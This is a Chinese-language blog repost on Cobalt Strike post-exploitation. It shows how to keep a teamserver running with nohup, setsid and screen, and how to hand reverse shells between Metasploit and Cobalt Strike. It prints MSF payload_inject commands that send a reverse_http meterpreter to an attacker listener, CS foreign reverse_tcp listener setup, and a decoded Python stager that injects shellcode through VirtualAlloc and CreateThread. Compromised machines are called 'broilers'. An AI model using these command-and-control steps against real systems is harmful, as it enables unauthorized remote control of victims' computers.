CS 遠控一直很給力的,之前搞的和 MSF結合使用效果不錯。。。時間長了沒用了,忘記了。。。。
先知上看到了,就收藏一下。。。
Cobaltstrike teamserver持久化
由於我們在終端中的操作都屬於SSH進程的子進程,當網絡中斷或SSH連接斷開時,終端會收到HUP(hangup)信號從而關閉所有子進程。為了使Cobaltstrike的服務端保持喚醒,我們需要:
- 讓進程忽略HUP信號;
- 讓進程運行在新的會話里,成為不屬於此終端的子進程。
一般來說,第一種思路可以nohup
命令實現,結尾加上"&"可將命令放入后台運行:
[root@Fazx ~]# nohup ping 0sec.com.cn &
[1] 3059
nohup: appending output to `nohup.out'
[root@Fazx ~]# ps -ef | grep 3059
root 3059 984 0 21:06 pts/3 00:00:00 ping 0sec.com.cn
第二種思路則對應setsid
命令:
[root@Fazx ~]# setsid ping 0sec.com.cn
[root@Fazx ~]# ps -ef | grep 0sec.com.cn
root 31094 1 0 20:28 ? 00:00:00 ping 0sec.com.cn
可以看到進程ID(PID)為31094,而它的父ID(PPID)為1(即init進程ID),並不是當前終端的進程ID。
此外,將命令與&
放在()
中執行也可以實現setsid
相同的效果:
[root@Fazx ~]# (ping 0sec.com.cn &)
[root@Fazx ~]# ps -ef | grep 0sec.com.cn
root 3998 1 0 20:37 pts/4 00:00:00 ping 0sec.com.cn
而為了避免大量命令的重復操作,或某一條命令忘記附加命令等情況,本文重點推薦使用screen工具實現需求,它可以方便地模擬出多個終端窗口,並將所有進程掛到init的子進程(即思路2)。話不多說來看操作:
# 首先安裝screen
apt-get install screen
輸入screen
新建一個窗口,在此窗口中直接正常輸入命令,完成后使用Ctrl+A+D組合鍵將窗口放入后台執行,可以看到有會話為脫離狀態:
使用screen -ls
查看后台窗口,screen -r ID
恢復指定會話:
screen -r 14662
同樣的,Metasploit監聽端口等待反彈shell時,也可以用這種方式進行持久化,操作相對於nohup
要方便得多。
MSF派生shell給Cobaltstrike
獲取MSF shell、建立session后在meterpreter執行background
將會話放到后台,切換payload。
擁有MSF shell的攻擊機與搭建Cobaltstrike的服務端不需要是同一台主機,端口相通即可實現遠程派生shell。
msf exploit(handler) > use exploit/windows/local/payload_inject
msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http
msf exploit(payload_inject) > set DisablePayloadHandler true
msf exploit(payload_inject) > set LHOST [Listener監聽IP]
msf exploit(payload_inject) > set LPORT [Listener監聽端口]
msf exploit(payload_inject) > set SESSION [session ID]
msf exploit(payload_inject) > exploit
配置set DisablePayloadHandler true
的原因是payload_inject執行之后會在本地產生一個新的handler,而我們之前已經有了一個,不需要再生成。
多個session同時建立時可以列舉所有session並按需選擇想要派生的shell:
CS端配置如下監聽器:
windows/beacon_http/reverse_http
CS端肉雞上線成功:
Cobaltstrike派生shell給MSF
在CS獲得一個beacon shell后,配置監聽器
windows/foreign/reverse_tcp
注意由於要與之后MSF的windows/meterpreter/reverse_tcp
配置保持一致,這里是reverse_tcp
而不再是reverse_http
,同樣的,配置IP與端口也應與MSF的監聽保持一致。
提前在MSF設置exploit/multi/handler
對反向TCP連接的監聽,這一步比較常規不再贅述。對需要派生的目標右擊選擇Spawn,之后選擇對應的監聽器。
另一端MSF稍后即獲取到shell連接,獲得Meterpreter會話:
后話
有什么需要派生shell的場景呢?首先CS雖然強大但用於攻擊的載荷模塊並不如MSF豐富,可參考的資料也較少,此時需要MSF接手shell繼續進行后續滲透流程;其次CS的肉雞類型主要支持Windows平台,payload也面向Windows,這一點我們可以查看CS生成的Scripted Web Delivery
中python類型的載荷,解碼后如下(略去shellcode):
import ctypes
import platform
(arch, type) = platform.architecture()
# 32-bit Python
if arch == "32bit":
shellcode = "xxxx"
# 64-bit Python
elif arch == "64bit":
shellcode = "xxxx"
else:
shellcode = ""
# sanity check our situation
if type != "WindowsPE" or len(shellcode) == 0:
quit()
# inject our shellcode
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
可以看到攻擊代碼中判斷了WindowsPE,也就只能直接獲取Windows shell。但通過派生shell我們可以使用MSF針對Linux的攻擊載荷,獲取Linux權限后接管到CS平台,從而拓展了團隊協作滲透的廣度與深度。
Cobaltstrike核心的功能還是后滲透階段,免殺、內網中的橫向移動、內網轉發、C2配置文件等,后續的文章也會圍繞這些內容進行展開。
寫本文時值萬聖節,Metasploit也更換了主題banner: